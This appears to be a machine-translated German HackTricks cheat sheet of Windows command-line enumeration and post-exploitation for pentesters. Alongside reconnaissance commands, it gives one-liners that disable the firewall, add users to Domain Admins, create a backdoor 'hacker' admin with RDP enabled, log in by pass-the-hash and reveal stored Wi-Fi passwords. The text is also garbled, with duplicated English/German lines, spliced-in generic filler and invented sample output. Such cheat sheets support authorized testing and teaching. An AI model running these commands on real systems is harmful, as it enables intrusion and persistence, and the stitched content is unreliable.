52 KiB
Basic Win CMD for Pentesters
Grundlegende Win CMD für Pentester
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version von PEASS oder HackTricks im PDF-Format haben? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks repo und das hacktricks-cloud repo senden.
Systeminformationen
Versions- und Patchinformationen
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates
hostname
DRIVERQUERY #3rd party driver vulnerable?
Umgebung
Basic CMD for Pentesters
Grundlegende CMD-Befehle für Pentester
CMD Basics
CMD-Grundlagen
CMD (Command Prompt) is a command-line interpreter for Windows operating systems. It allows users to interact with the operating system by executing commands. As a pentester, having a good understanding of CMD commands is essential for navigating and interacting with the target system.
CMD (Command Prompt) ist ein Befehlszeileninterpreter für Windows-Betriebssysteme. Es ermöglicht Benutzern, mit dem Betriebssystem zu interagieren, indem sie Befehle ausführen. Als Pentester ist es wichtig, ein gutes Verständnis für CMD-Befehle zu haben, um sich im Zielsystem zu bewegen und damit zu interagieren.
Basic CMD Commands
Grundlegende CMD-Befehle
Here are some basic CMD commands that every pentester should know:
Hier sind einige grundlegende CMD-Befehle, die jeder Pentester kennen sollte:
1. dir
1. dir
The dir
command is used to list the files and directories in the current directory.
Der Befehl dir
wird verwendet, um die Dateien und Verzeichnisse im aktuellen Verzeichnis aufzulisten.
2. cd
2. cd
The cd
command is used to change the current directory.
Der Befehl cd
wird verwendet, um das aktuelle Verzeichnis zu ändern.
- To change to a specific directory, use
cd <directory_path>
. - Um zu einem bestimmten Verzeichnis zu wechseln, verwenden Sie
cd <Verzeichnis_pfad>
. - To go up one directory level, use
cd ..
. - Um eine Verzeichnisebene nach oben zu gehen, verwenden Sie
cd ..
. - To go to the root directory, use
cd \
orcd /
. - Um zum Stammverzeichnis zu gelangen, verwenden Sie
cd \
odercd /
.
3. mkdir
3. mkdir
The mkdir
command is used to create a new directory.
Der Befehl mkdir
wird verwendet, um ein neues Verzeichnis zu erstellen.
- To create a new directory, use
mkdir <directory_name>
. - Um ein neues Verzeichnis zu erstellen, verwenden Sie
mkdir <Verzeichnis_name>
.
4. del
4. del
The del
command is used to delete files.
Der Befehl del
wird verwendet, um Dateien zu löschen.
- To delete a file, use
del <file_name>
. - Um eine Datei zu löschen, verwenden Sie
del <Datei_name>
.
5. rmdir
5. rmdir
The rmdir
command is used to delete directories.
Der Befehl rmdir
wird verwendet, um Verzeichnisse zu löschen.
- To delete an empty directory, use
rmdir <directory_name>
. - Um ein leeres Verzeichnis zu löschen, verwenden Sie
rmdir <Verzeichnis_name>
. - To delete a directory and its contents, use
rmdir /s <directory_name>
. - Um ein Verzeichnis und dessen Inhalt zu löschen, verwenden Sie
rmdir /s <Verzeichnis_name>
.
6. copy
6. copy
The copy
command is used to copy files.
Der Befehl copy
wird verwendet, um Dateien zu kopieren.
- To copy a file, use
copy <source_file> <destination_file>
. - Um eine Datei zu kopieren, verwenden Sie
copy <Quelldatei> <Zieldatei>
.
7. move
7. move
The move
command is used to move files.
Der Befehl move
wird verwendet, um Dateien zu verschieben.
- To move a file, use
move <source_file> <destination_file>
. - Um eine Datei zu verschieben, verwenden Sie
move <Quelldatei> <Zieldatei>
.
8. ren
8. ren
The ren
command is used to rename files.
Der Befehl ren
wird verwendet, um Dateien umzubenennen.
- To rename a file, use
ren <old_file_name> <new_file_name>
. - Um eine Datei umzubenennen, verwenden Sie
ren <alter_Dateiname> <neuer_Dateiname>
.
Conclusion
Fazit
These are just a few basic CMD commands that can be useful for pentesters. By mastering these commands, you will be able to navigate and interact with the target system more effectively.
Dies sind nur einige grundlegende CMD-Befehle, die für Pentester nützlich sein können. Indem Sie diese Befehle beherrschen, können Sie sich effektiver im Zielsystem bewegen und damit interagieren.
set #List all environment variables
Einige Umgebungsvariablen, die hervorgehoben werden sollten:
- COMPUTERNAME: Name des Computers
- TEMP/TMP: Temporärer Ordner
- USERNAME: Ihr Benutzername
- HOMEPATH/USERPROFILE: Benutzerverzeichnis
- windir: C:\Windows
- OS: Windows-Betriebssystem
- LOGONSERVER: Name des Domänencontrollers
- USERDNSDOMAIN: Domänenname für die Verwendung mit DNS
- USERDOMAIN: Name der Domäne
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
Eingebundene Laufwerke
In Windows können Sie mithilfe des Befehls mountvol
Informationen über die eingebundenen Laufwerke erhalten. Dieser Befehl zeigt Ihnen die Liste der Laufwerksbuchstaben und der zugehörigen Volumes an.
C:\> mountvol
\\?\Volume{d3e5e6f7-8a9b-cdef-0123-456789abcdef}\
C:\
\\?\Volume{a1b2c3d4-5e6f-7a8b-9c0d-1e2f3g4h5i6j}\
D:\
Sie können auch den Befehl wmic logicaldisk
verwenden, um Informationen über die eingebundenen Laufwerke zu erhalten. Dieser Befehl zeigt Ihnen den Laufwerksbuchstaben, den Gerätepfad und den Dateisystemtyp an.
C:\> wmic logicaldisk get caption, deviceid, filesystem
Caption DeviceID FileSystem
C: C: NTFS
D: D: NTFS
Diese Informationen können Ihnen bei der Identifizierung von Laufwerken und Volumes auf einem Windows-System helfen.
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
Defender
Windows Defender ist eine integrierte Antivirensoftware von Microsoft, die auf Windows-Betriebssystemen läuft. Es bietet Schutz vor Viren, Malware und anderen Bedrohungen.
Papierkorb
dir C:\$Recycle.Bin /s /b
Prozesse, Dienste & Software
Prozesse
Um die laufenden Prozesse auf einem Windows-System anzuzeigen, kann der Befehl tasklist
verwendet werden. Dieser Befehl listet alle Prozesse auf, die auf dem System ausgeführt werden, zusammen mit Informationen wie Prozess-ID, Speichernutzung und Prozessname.
Um einen Prozess zu beenden, kann der Befehl taskkill
verwendet werden. Dieser Befehl ermöglicht es, einen Prozess anhand seiner Prozess-ID oder seines Namens zu beenden.
Dienste
Um die laufenden Dienste auf einem Windows-System anzuzeigen, kann der Befehl net start
verwendet werden. Dieser Befehl listet alle aktiven Dienste auf, zusammen mit ihrem Status und ihrem Namen.
Um einen Dienst zu starten oder zu stoppen, kann der Befehl net start
oder net stop
verwendet werden, gefolgt vom Namen des Dienstes.
Software
Um die installierte Software auf einem Windows-System anzuzeigen, kann der Befehl wmic product get name
verwendet werden. Dieser Befehl listet alle installierten Programme auf, zusammen mit ihren Namen.
Um eine bestimmte Software zu deinstallieren, kann der Befehl wmic product where name="Softwarename" call uninstall
verwendet werden. Dieser Befehl deinstalliert die angegebene Software.
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
Domäneninformationen
Whois
Die Whois-Abfrage ermöglicht es Ihnen, Informationen über eine bestimmte Domäne abzurufen. Sie können den Registrar, den Registrierungsstatus, das Erstellungsdatum, das Ablaufdatum und andere relevante Informationen über die Domäne erfahren.
whois domain.com
DNS-Abfrage
Mit einer DNS-Abfrage können Sie Informationen über die DNS-Einträge einer Domäne abrufen. Sie können die IP-Adresse, den Mailserver, den Nameserver und andere DNS-Einträge einer Domäne ermitteln.
nslookup domain.com
Zone Transfer
Die Zone Transfer-Methode ermöglicht es Ihnen, die gesamte DNS-Zonendatei einer Domäne abzurufen. Dies kann Ihnen helfen, Informationen über die Subdomänen, IP-Adressen und andere DNS-Einträge einer Domäne zu erhalten.
nslookup
> server <DNS-Server-IP>
> ls -d domain.com
Reverse DNS-Lookup
Mit einem Reverse DNS-Lookup können Sie die Domäne anhand einer IP-Adresse ermitteln. Dies kann nützlich sein, um Informationen über den Eigentümer einer bestimmten IP-Adresse zu erhalten.
nslookup <IP-Adresse>
Subdomänen-Suche
Die Suche nach Subdomänen ermöglicht es Ihnen, alle Subdomänen einer bestimmten Domäne zu ermitteln. Dies kann Ihnen helfen, potenzielle Angriffsvektoren zu identifizieren.
dnsrecon -d domain.com
Zonentransfer-Prüfung
Die Zonentransfer-Prüfung ermöglicht es Ihnen, zu überprüfen, ob eine Domäne anfällig für Zonentransfer-Angriffe ist. Ein erfolgreicher Zonentransfer-Angriff kann es einem Angreifer ermöglichen, die gesamte DNS-Zonendatei einer Domäne abzurufen.
dnsrecon -d domain.com -t axfr
MX-Record-Prüfung
Die MX-Record-Prüfung ermöglicht es Ihnen, den Mailserver einer Domäne zu ermitteln. Dies kann Ihnen helfen, potenzielle Schwachstellen im E-Mail-System einer Domäne zu identifizieren.
dig domain.com MX
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers
# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
# Trust relations
nltest /domain_trusts #Mapping of the trust relationships
# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
Protokolle und Ereignisse
Die Überwachung von Protokollen und Ereignissen ist ein wichtiger Aspekt der Sicherheit und ermöglicht es Ihnen, potenzielle Angriffe oder Sicherheitsverletzungen zu erkennen. In Windows gibt es verschiedene Arten von Protokollen und Ereignissen, die überwacht werden können, um die Sicherheit Ihres Systems zu verbessern.
Windows-Ereignisprotokolle
Windows speichert verschiedene Arten von Ereignissen in Protokolldateien, die als Windows-Ereignisprotokolle bezeichnet werden. Diese Protokolle enthalten Informationen über Systemereignisse, Anwendungsereignisse, Sicherheitsereignisse und vieles mehr. Sie können auf diese Protokolle zugreifen, um nach verdächtigen Aktivitäten zu suchen und potenzielle Sicherheitsprobleme zu identifizieren.
Ereignisanzeige
Die Ereignisanzeige ist ein Windows-Tool, mit dem Sie auf die Ereignisprotokolle zugreifen und diese anzeigen können. Sie können die Ereignisanzeige öffnen, indem Sie "eventvwr.msc" in die Befehlszeile eingeben. In der Ereignisanzeige können Sie die verschiedenen Ereignisprotokolle durchsuchen, nach bestimmten Ereignissen filtern und detaillierte Informationen zu einzelnen Ereignissen anzeigen.
Überwachung von Ereignissen
Die Überwachung von Ereignissen kann Ihnen helfen, verdächtige Aktivitäten zu erkennen und potenzielle Sicherheitsverletzungen zu identifizieren. Sie können Ereignisprotokolle überwachen, um nach bestimmten Ereignissen oder Aktivitäten zu suchen, die auf eine Kompromittierung hinweisen könnten. Dazu gehören beispielsweise fehlgeschlagene Anmeldeversuche, ungewöhnliche Netzwerkaktivitäten oder verdächtige Dateiänderungen.
Ereignisabonnements
In Windows können Sie Ereignisabonnements erstellen, um bestimmte Ereignisse zu überwachen und Benachrichtigungen zu erhalten, wenn diese Ereignisse auftreten. Sie können beispielsweise ein Ereignisabonnement erstellen, um benachrichtigt zu werden, wenn ein fehlgeschlagener Anmeldeversuch erkannt wird. Dies kann Ihnen helfen, schnell auf potenzielle Sicherheitsverletzungen zu reagieren und geeignete Maßnahmen zu ergreifen.
Protokollierungseinstellungen
Es ist wichtig, die Protokollierungseinstellungen in Windows zu überprüfen und anzupassen, um sicherzustellen, dass relevante Ereignisse erfasst werden. Sie können die Protokollierungseinstellungen über die Gruppenrichtlinienverwaltung oder die Registrierung ändern. Stellen Sie sicher, dass die Protokollierung aktiviert ist und dass die erforderlichen Ereignisse erfasst werden, um die Sicherheit Ihres Systems zu verbessern.
Protokollanalyse
Die Analyse von Protokollen kann Ihnen helfen, verdächtige Aktivitäten zu erkennen und potenzielle Sicherheitsverletzungen zu identifizieren. Sie können Protokolle auf Anomalien, ungewöhnliche Muster oder verdächtige Ereignisse überprüfen. Es gibt verschiedene Tools und Techniken, die Ihnen bei der Analyse von Protokollen helfen können, einschließlich SIEM (Security Information and Event Management) und Log-Analyse-Tools.
Zusammenfassung
Die Überwachung von Protokollen und Ereignissen ist ein wichtiger Bestandteil der Sicherheit in Windows. Durch die Überwachung von Ereignisprotokollen, die Erstellung von Ereignisabonnements und die Analyse von Protokollen können Sie verdächtige Aktivitäten erkennen und potenzielle Sicherheitsverletzungen identifizieren. Stellen Sie sicher, dass die Protokollierungseinstellungen angemessen konfiguriert sind, um relevante Ereignisse zu erfassen und die Sicherheit Ihres Systems zu verbessern.
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
List all users
net user
Get detailed information about a specific user
net user <username>
Create a new user
net user <username> <password> /add
Delete a user
net user <username> /delete
Change a user's password
net user <username> <new_password>
Groups
List all groups
net localgroup
Get detailed information about a specific group
net localgroup <groupname>
Add a user to a group
net localgroup <groupname> <username> /add
Remove a user from a group
net localgroup <groupname> <username> /delete
Create a new group
net localgroup <groupname> /add
Delete a group
net localgroup <groupname> /delete
Add a group to another group
net localgroup <groupname> /add <other_groupname>
Remove a group from another group
net localgroup <groupname> /delete <other_groupname>
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user
# Other users looged
qwinsta #Anyone else logged in?
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
Gruppen
Gruppen sind eine Möglichkeit, Benutzer in Windows zu organisieren und ihnen bestimmte Berechtigungen zuzuweisen. Hier sind einige grundlegende Befehle, um mit Gruppen in der Befehlszeile umzugehen:
Gruppen anzeigen
Um alle Gruppen auf einem Windows-System anzuzeigen, verwenden Sie den Befehl net localgroup
:
net localgroup
Gruppenmitglieder anzeigen
Um die Mitglieder einer bestimmten Gruppe anzuzeigen, verwenden Sie den Befehl net localgroup
gefolgt vom Gruppennamen:
net localgroup <Gruppenname>
Benutzer zu einer Gruppe hinzufügen
Um einen Benutzer zu einer Gruppe hinzuzufügen, verwenden Sie den Befehl net localgroup
gefolgt von dem Gruppennamen und dem Benutzernamen:
net localgroup <Gruppenname> <Benutzername> /add
Benutzer aus einer Gruppe entfernen
Um einen Benutzer aus einer Gruppe zu entfernen, verwenden Sie den Befehl net localgroup
gefolgt von dem Gruppennamen und dem Benutzernamen:
net localgroup <Gruppenname> <Benutzername> /delete
Neue Gruppe erstellen
Um eine neue Gruppe zu erstellen, verwenden Sie den Befehl net localgroup
gefolgt von dem Gruppennamen und der Option /add
:
net localgroup <Gruppenname> /add
Gruppe löschen
Um eine Gruppe zu löschen, verwenden Sie den Befehl net localgroup
gefolgt von dem Gruppennamen und der Option /delete
:
net localgroup <Gruppenname> /delete
Diese Befehle helfen Ihnen dabei, Gruppen in Windows zu verwalten und die Sicherheit Ihres Systems zu verbessern.
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
To list active sessions in Windows, you can use the query session
command. This command will display information about each active session, including the session ID, username, and session state.
C:\> query session
This will output a table with the session details, such as:
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
console Administrator 1 Active
user1 2 Disc
user2 3 Disc
Sitzungen auflisten
Um aktive Sitzungen in Windows aufzulisten, können Sie den Befehl query session
verwenden. Dieser Befehl zeigt Informationen zu jeder aktiven Sitzung an, einschließlich der Sitzungs-ID, des Benutzernamens und des Sitzungszustands.
C:\> query session
Dies gibt eine Tabelle mit den Sitzungsdetails aus, wie zum Beispiel:
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
console Administrator 1 Active
user1 2 Disc
user2 3 Disc
qwinsta
klist sessions
Passwortrichtlinie
Eine Passwortrichtlinie ist eine Reihe von Regeln und Anforderungen, die festlegen, wie Passwörter erstellt und verwaltet werden sollten. Eine starke Passwortrichtlinie ist entscheidend für die Sicherheit eines Systems, da schwache Passwörter ein leichtes Ziel für Angreifer darstellen können.
Hier sind einige bewährte Praktiken für eine effektive Passwortrichtlinie:
- Passwortlänge: Legen Sie eine Mindestlänge für Passwörter fest, um sicherzustellen, dass sie ausreichend komplex sind. Eine Länge von mindestens 8 Zeichen wird empfohlen.
- Komplexität: Verlangen Sie, dass Passwörter eine Kombination aus Groß- und Kleinbuchstaben, Zahlen und Sonderzeichen enthalten, um die Sicherheit zu erhöhen.
- Passwortablauf: Legen Sie eine maximale Gültigkeitsdauer für Passwörter fest und erzwingen Sie deren Änderung in regelmäßigen Abständen. Dies minimiert das Risiko von Passwortlecks und stellt sicher, dass Benutzer regelmäßig neue Passwörter verwenden.
- Passworthistorie: Verbieten Sie die Verwendung von Passwörtern, die bereits verwendet wurden, um zu verhindern, dass Benutzer alte Passwörter wiederverwenden.
- Sperrzeit: Legen Sie eine Sperrzeit fest, nach der ein Konto gesperrt wird, wenn eine bestimmte Anzahl von fehlgeschlagenen Anmeldeversuchen erfolgt. Dies schützt vor Brute-Force-Angriffen.
- Benachrichtigungen: Benachrichtigen Sie Benutzer rechtzeitig über bevorstehende Passwortänderungen und informieren Sie sie über bewährte Praktiken zur Erstellung sicherer Passwörter.
Eine gut durchdachte Passwortrichtlinie ist ein wichtiger Schritt zur Stärkung der Sicherheit eines Systems und zur Verhinderung von unbefugtem Zugriff. Es ist wichtig, dass Benutzer sich der Richtlinie bewusst sind und diese befolgen, um die Wirksamkeit zu gewährleisten.
net accounts
Anmeldeinformationen
Credentials are the usernames and passwords that are used to authenticate and authorize access to various systems and services. In the context of hacking, obtaining credentials is often a crucial step in gaining unauthorized access to a target system.
Anmeldeinformationen sind Benutzernamen und Passwörter, die zur Authentifizierung und Autorisierung des Zugriffs auf verschiedene Systeme und Dienste verwendet werden. Im Zusammenhang mit Hacking ist das Erlangen von Anmeldeinformationen oft ein entscheidender Schritt, um unbefugten Zugriff auf ein Zielsystem zu erlangen.
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
Persistenz mit Benutzern
In diesem Abschnitt werden verschiedene Techniken zur Erreichung von Persistenz mit Benutzern auf einem Windows-System beschrieben. Diese Techniken ermöglichen es einem Angreifer, den Zugriff auf das System aufrechtzuerhalten, selbst nach einem Neustart oder einer Abmeldung des Benutzers.
1. Benutzerprofilordner
Ein häufig genutzter Ansatz besteht darin, eine bösartige Datei oder einen bösartigen Skript im Benutzerprofilordner des Zielsystems abzulegen. Dieser Ordner enthält wichtige Konfigurationsdateien und Einstellungen für den Benutzer. Durch das Platzieren einer bösartigen Datei in diesem Ordner kann der Angreifer sicherstellen, dass sie bei jedem Anmelden des Benutzers automatisch ausgeführt wird.
2. Registrierungseinträge
Die Windows-Registrierung ist eine zentrale Datenbank, die wichtige Informationen und Einstellungen für das Betriebssystem enthält. Ein Angreifer kann bösartige Registrierungseinträge erstellen, um eine Persistenz mit Benutzern zu erreichen. Diese Einträge können so konfiguriert werden, dass sie bei jedem Systemstart oder bei der Anmeldung eines bestimmten Benutzers automatisch ausgeführt werden.
3. Geplante Aufgaben
Die Windows-Aufgabenplanung ermöglicht es Benutzern, Aufgaben zu planen, die zu einem bestimmten Zeitpunkt oder bei bestimmten Ereignissen ausgeführt werden sollen. Ein Angreifer kann eine bösartige geplante Aufgabe erstellen, um eine Persistenz mit Benutzern zu erreichen. Diese Aufgabe kann so konfiguriert werden, dass sie regelmäßig ausgeführt wird, um den Zugriff auf das System aufrechtzuerhalten.
4. Dienste
Windows-Dienste sind Programme, die im Hintergrund ausgeführt werden und bestimmte Funktionen bereitstellen. Ein Angreifer kann einen bösartigen Dienst erstellen, um eine Persistenz mit Benutzern zu erreichen. Dieser Dienst kann so konfiguriert werden, dass er bei jedem Systemstart automatisch gestartet wird und somit den Zugriff auf das System aufrechterhält.
5. Anmeldeobjekte
Windows bietet verschiedene Anmeldeobjekte, die beim Anmelden eines Benutzers automatisch ausgeführt werden. Ein Angreifer kann eine bösartige Datei oder ein bösartiges Skript in einem dieser Anmeldeobjekte platzieren, um eine Persistenz mit Benutzern zu erreichen. Dadurch wird sichergestellt, dass die bösartige Datei bei jedem Anmelden des Benutzers automatisch ausgeführt wird.
Es ist wichtig zu beachten, dass diese Techniken von Angreifern missbraucht werden können, um unbefugten Zugriff auf Systeme zu erlangen. Es ist daher entscheidend, dass Benutzer und Administratoren geeignete Sicherheitsmaßnahmen ergreifen, um solche Angriffe zu verhindern.
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
Netzwerk
Schnittstellen, Routen, Ports, Hosts und DNS-Cache
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
Firewall
Eine Firewall ist eine Sicherheitsvorrichtung, die den Datenverkehr zwischen einem internen Netzwerk und einem externen Netzwerk überwacht und kontrolliert. Sie dient dazu, unerwünschten Datenverkehr zu blockieren und das interne Netzwerk vor potenziellen Angriffen zu schützen.
Firewalls können auf verschiedenen Ebenen arbeiten, einschließlich der Netzwerk-, Transport- und Anwendungsebene. Sie können den Datenverkehr basierend auf verschiedenen Kriterien wie IP-Adresse, Portnummer und Protokolltyp filtern.
Es gibt verschiedene Arten von Firewalls, darunter Netzwerk-Firewalls, Host-Firewalls und persönliche Firewalls. Netzwerk-Firewalls werden normalerweise auf Netzwerkgeräten wie Routern und Firewalls installiert und schützen das gesamte Netzwerk. Host-Firewalls werden auf einzelnen Computern oder Servern installiert und schützen diese vor Angriffen. Persönliche Firewalls sind Softwareanwendungen, die auf einzelnen Computern installiert sind und den Datenverkehr für diesen spezifischen Computer überwachen und kontrollieren.
Es ist wichtig, eine Firewall richtig zu konfigurieren und regelmäßig zu aktualisieren, um sicherzustellen, dass sie effektiv vor Angriffen schützt. Eine schlecht konfigurierte Firewall kann Sicherheitslücken aufweisen und Angreifern den Zugriff auf das interne Netzwerk ermöglichen.
Firewalls sind ein wichtiger Bestandteil der Netzwerksicherheit und sollten in jedem Netzwerk implementiert werden, um die Sicherheit zu erhöhen und potenzielle Angriffe zu verhindern.
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #Turn Off
NetSh Advfirewall set allprofiles state on #Trun On
netsh firewall set opmode disable #Turn Off
#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed
#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
Freigaben
Überblick
Freigaben sind Verzeichnisse oder Dateien, die von einem Windows-Computer für andere Benutzer oder Geräte im Netzwerk zugänglich gemacht werden. In diesem Abschnitt werden einige grundlegende Befehle vorgestellt, die Pentester verwenden können, um Informationen über Freigaben zu sammeln und auf diese zuzugreifen.
Befehle
net share
: Zeigt eine Liste der Freigaben auf dem aktuellen System an.net view \\[IP]
: Zeigt eine Liste der Freigaben auf einem Remote-System an.net use \\[IP]\[Freigabe] [Passwort] /user:[Benutzername]
: Verbindet sich mit einer Freigabe auf einem Remote-System.net use
: Zeigt eine Liste der aktuell verbundenen Freigaben an.net use [Laufwerksbuchstabe]: /delete
: Trennt eine Verbindung zu einer Freigabe.
Beispiele
net share
: Zeigt eine Liste der Freigaben auf dem aktuellen System an.net view \\192.168.0.100
: Zeigt eine Liste der Freigaben auf dem Remote-System mit der IP-Adresse 192.168.0.100 an.net use \\192.168.0.100\freigabe Passwort123 /user:admin
: Verbindet sich mit der Freigabe "freigabe" auf dem Remote-System mit der IP-Adresse 192.168.0.100 unter Verwendung des Benutzernamens "admin" und des Passworts "Passwort123".net use
: Zeigt eine Liste der aktuell verbundenen Freigaben an.net use Z: /delete
: Trennt die Verbindung zum Laufwerk Z, das mit einer Freigabe verbunden ist.
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
Wifi
Windows
Get the list of available wifi networks
netsh wlan show networks
Connect to a wifi network
netsh wlan connect name="wifi_name" ssid="wifi_ssid"
Disconnect from a wifi network
netsh wlan disconnect
Get the wifi network password
netsh wlan show profile name="wifi_name" key=clear
Enable wifi interface
netsh interface set interface name="Wi-Fi" admin=enable
Disable wifi interface
netsh interface set interface name="Wi-Fi" admin=disable
Linux
Get the list of available wifi networks
nmcli device wifi list
Connect to a wifi network
nmcli device wifi connect ssid "wifi_ssid" password "wifi_password"
Disconnect from a wifi network
nmcli device disconnect wlan0
Enable wifi interface
nmcli radio wifi on
Disable wifi interface
nmcli radio wifi off
Mac
Get the list of available wifi networks
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
Connect to a wifi network
networksetup -setairportnetwork en0 wifi_ssid wifi_password
Disconnect from a wifi network
networksetup -setairportpower en0 off
Enable wifi interface
networksetup -setairportpower en0 on
Disable wifi interface
networksetup -setairportpower en0 off
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
SNMP
SNMP (Simple Network Management Protocol) ist ein Protokoll, das zur Verwaltung und Überwachung von Netzwerkgeräten verwendet wird. Es ermöglicht das Abrufen und Ändern von Informationen über diese Geräte. SNMP verwendet eine Client-Server-Architektur, bei der ein SNMP-Manager (Client) Informationen von SNMP-Agenten (Server) abruft.
